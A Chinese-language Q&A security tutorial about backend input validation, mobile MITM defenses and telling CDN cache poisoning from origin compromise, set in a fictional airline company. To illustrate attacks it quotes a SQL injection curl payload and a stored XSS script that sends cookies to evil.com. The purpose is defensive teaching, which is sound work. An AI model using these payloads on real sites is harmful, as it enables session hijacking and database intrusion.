答案:HTTP常见攻击与防御
空少在前端做了输入过滤,航仔在后端还需要再做一遍吗?为什么?
航仔在后端必须再做一遍输入验证和过滤,且后端的验证才是安全防线中真正不可省略的一环。 空少在前端做的输入过滤属于"客户端校验",它的主要作用是提升用户体验(即时反馈、减少无效请求),但从安全角度而言,前端校验完全不可信任。
为什么前端校验不可信?
前端代码(HTML、JavaScript、CSS)运行在用户的浏览器中,攻击者可以轻易绕过:
- 禁用 JavaScript:浏览器插件(如 NoScript)或开发者工具可以直接关闭 JS 执行,所有前端校验逻辑瞬间失效。
- 直接构造请求:攻击者不需要打开浏览器,可以用 curl、Postman、Burp Suite 或自写脚本直接向航仔的后端 API 发送任意构造的 HTTP 请求:
# 攻击者绕过前端,直接向航仔的登录接口发送恶意 payload
curl -X POST https://api.feixiang.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin' OR '1'='1&password=anything"
如果航仔的后端信任了前端"已经过滤过"的数据,这条 SQL 注入 payload 就会直达数据库。
- 修改前端代码:浏览器开发者工具(F12)可以直接编辑 JavaScript 和 HTML,删除校验逻辑后再提交表单。
飞翔公司的真实案例
假设空少在用户注册页面做了前端校验:用户名只能包含字母和数字,密码长度 8-20 位。航仔觉得"前端已经卡死了,后端省点算力",于是后端直接入库。结果攻击者雁姐用 Burp Suite 拦截并修改请求,将用户名改为:
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
后端未过滤直接存入数据库。当凌叔在管理后台查看用户列表时,这段脚本执行,凌叔的 Session Cookie 被发送到攻击者服务器——这就是存储型 XSS。
正确的分层防御策略
空少和航仔应该采用**"纵深防御"(Defense in Depth)**策略:
| 层级 | 职责 | 目的 |
|---|---|---|
| 前端(空少) | 格式校验、即时反馈 | 提升 UX,减少无效请求 |
| 网关/边缘(凌叔) | WAF 规则、速率限制 | 拦截批量攻击、明显恶意 payload |
| 后端(航仔) | 严格白名单校验、参数化查询 | 最终安全防线,不可省略 |
| 数据库 | 权限最小化、存储加密 | 即使穿透后端,限制损害范围 |
# 航仔后端 Python 示例:严格白名单校验 + 参数化查询
import re
from sqlalchemy import text
def register_user(raw_username, raw_password):
# 白名单校验:只允许字母、数字、下划线,长度 3-20
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', raw_username):
raise ValueError("用户名格式非法")
if not (8 <= len(raw_password) <= 128):
raise ValueError("密码长度不符合要求")
# 参数化查询:彻底杜绝 SQL 注入
db.execute(
text("INSERT INTO users (username, password_hash) VALUES (:u, :p)"),
{"u": raw_username, "p": hash_password(raw_password)}
)
总结:前端校验是"礼貌",后端校验是"法律"。空少的前端过滤可以让 90% 的正常用户获得即时反馈,但航仔的后端验证是阻挡那 10% 恶意攻击者的唯一可靠屏障。永远不要信任来自客户端的任何数据——这是飞翔公司安全规范的第一条铁律。
飞翔公司的移动端 APP 如何防范中间人攻击(尤其是用户可能安装伪造证书的情况)?
中间人攻击(MITM)在移动端尤为危险。攻击者可以在公共 WiFi(如机场、咖啡厅)部署恶意热点,拦截并篡改飞翔 APP 与服务器之间的通信。更棘手的是,部分用户(尤其是 Android 用户)为了使用抓包工具或"破解版功能",会主动在手机上安装第三方 CA 证书(如 Fiddler、Charles、mitmproxy 的根证书),这等于主动给攻击者开了门。
证书固定(Certificate Pinning)
这是防范 MITM 最有效的技术手段。星宇在开发飞翔 APP 时,不应完全依赖系统自带的 CA 证书库,而是将服务器证书的公钥哈希(或证书本身)硬编码到 APP 中。每次建立 HTTPS 连接时,APP 验证服务器证书是否与预置的哈希匹配,不匹配则立即断开。
// 飞翔 APP Android 示例:OkHttp 证书固定
val certificatePinner = CertificatePinner.Builder()
.add("api.feixiang.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") // 主证书
.add("api.feixiang.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=") // 备用证书
.build()
val client = OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build()
// 飞翔 APP iOS 示例:Alamofire/URLSession 证书固定
let serverTrustPolicy = ServerTrustPolicy.pinCertificates(
certificates: [feixiangCert],
validateCertificateChain: true,
validateHost: true
)
let sessionManager = Session(
serverTrustManager: ServerTrustManager(evaluators: ["api.feixiang.com": serverTrustPolicy])
)
注意事项:
- 必须预留备用证书哈希,防止主证书过期或吊销导致 APP 无法连接。
- 证书固定应支持动态更新机制(如通过另一条安全通道下发新哈希),避免 APP 版本过旧后无法兼容新证书。
禁用用户自定义 CA(Android Network Security Config)
Android 7.0+ 支持 Network Security Config,星宇可以明确禁止 APP 信任用户安装的证书:
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<!-- 只信任系统预装 CA,不信任用户安装的证书 -->
<certificates src="system"/>
</trust-anchors>
</base-config>
</network-security-config>
<!-- AndroidManifest.xml 中引用 -->
<application
android:networkSecurityConfig="@xml/network_security_config"
... />
iOS 从 10.3 开始也加强了对用户证书的限制,但星宇仍应通过 ATS(App Transport Security)强制要求 HTTPS,并在代码层做证书固定。
双向 TLS(mTLS)
对于特别敏感的接口(如飞行员排班系统、财务转账),凌叔可以配置服务器要求客户端也提供证书。飞翔 APP 内置客户端证书,服务器验证通过后才建立连接。即使攻击者安装了伪造 CA,没有飞翔 APP 的私钥也无法完成握手。
# 测试 mTLS 连接
curl --cert client.crt --key client.key \
--cacert ca.crt \
https://secure.feixiang.com/api/pilot/schedule
请求签名与防篡改
即使 HTTPS 被 MITM 解密(如用户主动安装抓包证书),航仔仍可在应用层增加签名机制,防止请求/响应被篡改:
# 飞翔 APP 请求签名示例(简化版)
import hmac, hashlib, time
def sign_request(method, path, body, secret_key):
timestamp = str(int(time.time()))
message = f"{method}|{path}|{timestamp}|{body}"
signature = hmac.new(secret_key.encode(), message.encode(), hashlib.sha256).hexdigest()
return timestamp, signature
# 请求头携带签名,后端验证时间戳(防重放)和签名(防篡改)
headers = {
"X-Feixiang-Timestamp": timestamp,
"X-Feixiang-Signature": signature
}
运行时环境检测
星宇可以在 APP 启动时检测运行环境,发现异常时告警或限制功能:
- 检测是否处于模拟器/越狱/Root 环境
- 检测是否安装了常见的抓包工具(如 Charles Proxy、Fiddler)
- 检测代理设置是否被修改
// Android 检测是否设置了代理
val proxyHost = System.getProperty("http.proxyHost")
val proxyPort = System.getProperty("http.proxyPort")
if (!proxyHost.isNullOrEmpty()) {
// 提示用户或限制敏感功能
}
总结:防范移动端 MITM 需要多层防护:证书固定阻断被动 MITM,禁用用户 CA 阻断主动安装抓包证书,mTLS 和请求签名在传输层被突破后仍保护应用层数据完整性。星宇应在飞翔 APP 的安全基线中强制要求证书固定,并在 CI/CD 流程中自动校验证书哈希是否与生产环境一致。
凌叔发现 CDN 节点返回了异常内容,如何判断是缓存投毒还是源站被入侵?
凌叔在监控中发现,部分用户访问 https://www.feixiang.com/index.html 时,CDN 返回的页面中嵌入了恶意广告脚本。此时凌叔面临一个关键判断:这是 CDN 缓存投毒(Cache Poisoning),还是源站本身已经被黑客入侵? 判断错误会导致修复方向完全偏离。
诊断流程
第一步:直接回源验证
绕过所有 CDN 和代理,直接向源站服务器发送请求,看返回内容是否正常:
# 修改 hosts 文件指向源站 IP,绕过 CDN
# 或者使用 curl 直接指定源站 IP + Host 头
curl -H "Host: www.feixiang.com" \
--resolve www.feixiang.com:443:192.168.1.100 \
https://www.feixiang.com/index.html \
-o origin_response.html
# 对比 CDN 返回和源站返回
diff <(curl -s https://www.feixiang.com/index.html) origin_response.html
- 如果源站返回正常,CDN 返回异常 → 大概率是缓存投毒。
- 如果源站也返回异常 → 大概率是源站被入侵。
第二步:检查 CDN 缓存元数据
凌叔可以查看异常响应的 HTTP 头部,寻找线索:
curl -I https://www.feixiang.com/index.html
关注以下头部:
Age:如果 Age 值很大(如 3600),说明这是缓存内容,且已缓存很久。X-Cache/CF-Cache-Status:显示缓存状态(HIT / MISS / EXPIRED)。Last-Modified/ETag:与源站对比是否一致。- 异常的
Vary头部:攻击者可能利用 Vary 头部制造特定缓存键的投毒。
第三步:多节点、多条件测试
缓存投毒通常针对特定缓存键(如特定 User-Agent、Cookie、查询参数)。凌叔可以用不同条件请求,观察哪些条件下会触发异常内容:
# 测试不同 User-Agent
curl -A "Mozilla/5.0" https://www.feixiang.com/index.html
curl -A "<script>alert(1)</script>" https://www.feixiang.com/index.html
# 测试带特定查询参数
curl "https://www.feixiang.com/index.html?cb=evil_callback"
# 测试带特定 Cookie
curl -b "session=poisoned_value" https://www.feixiang.com/index.html
如果只有特定 User-Agent 或 Cookie 触发异常,而其他条件正常,这是典型的缓存投毒特征——攻击者利用 CDN 对请求头的缓存区分,将恶意响应"注射"到特定缓存槽中。
第四步:检查源站日志
如果源站被入侵,通常会在 Web 日志(Nginx access log、应用日志)中留下痕迹:
# 查找近期对首页的异常修改请求
$ grep "index.html" /var/log/nginx/access.log | tail -100
# 关注 POST/PUT 请求、非公司 IP 的访问、异常 User-Agent
# 检查文件系统是否被篡改
$ find /var/www/feixiang -name "*.html" -mtime -1 -exec md5sum {} \;
$ git diff HEAD --stat # 如果网站是 Git 部署的
第五步:时间线关联分析
凌叔应对比以下时间点:
- 恶意内容首次出现的时间(从 CDN 日志或用户投诉推断)。
- 源站最后一次正常部署的时间。
- 近期是否有安全事件(员工账号泄露、第三方插件漏洞)。
如果恶意内容出现时间与某次代码发布完全吻合,可能是供应链攻击(如 npm 依赖被投毒)。如果出现在发布之后数小时,且源站日志无对应修改记录,更可能是缓存投毒。
两种场景的处置差异
| 场景 | 紧急处置 | 根因修复 |
|---|---|---|
| 缓存投毒 | 立即刷新/清除 CDN 缓存;临时禁用该 URL 缓存 | 修复被利用的缓存键漏洞(如删除不必要的 Vary 头部、过滤 User-Agent 中的非法字符);升级 CDN 安全策略 |
| 源站入侵 | 立即下线源站或切换到备用集群;保留现场取证 | 清除 Webshell / 后门;修复入侵入口(如漏洞补丁、弱口令);全量代码审计和数据库审计 |
# 紧急清除 CDN 缓存(以阿里云为例)
curl -X POST "https://cdn.aliyuncs.com/" \
-d "Action=RefreshObjectCaches&ObjectPath=https://www.feixiang.com/index.html"
# 临时禁用首页缓存(Nginx 层)
location = /index.html {
add_header Cache-Control "no-cache, no-store, must-revalidate";
expires -1;
}
总结:凌叔的诊断口诀是——"先回源、再看头、多条件测、查日志、对时间线"。缓存投毒和源站入侵的表象相似,但修复成本天壤之别。前者可能几分钟清除缓存即可解决,后者可能需要数天的安全审计和系统重建。快速准确的判断是飞翔公司应急响应能力的核心体现。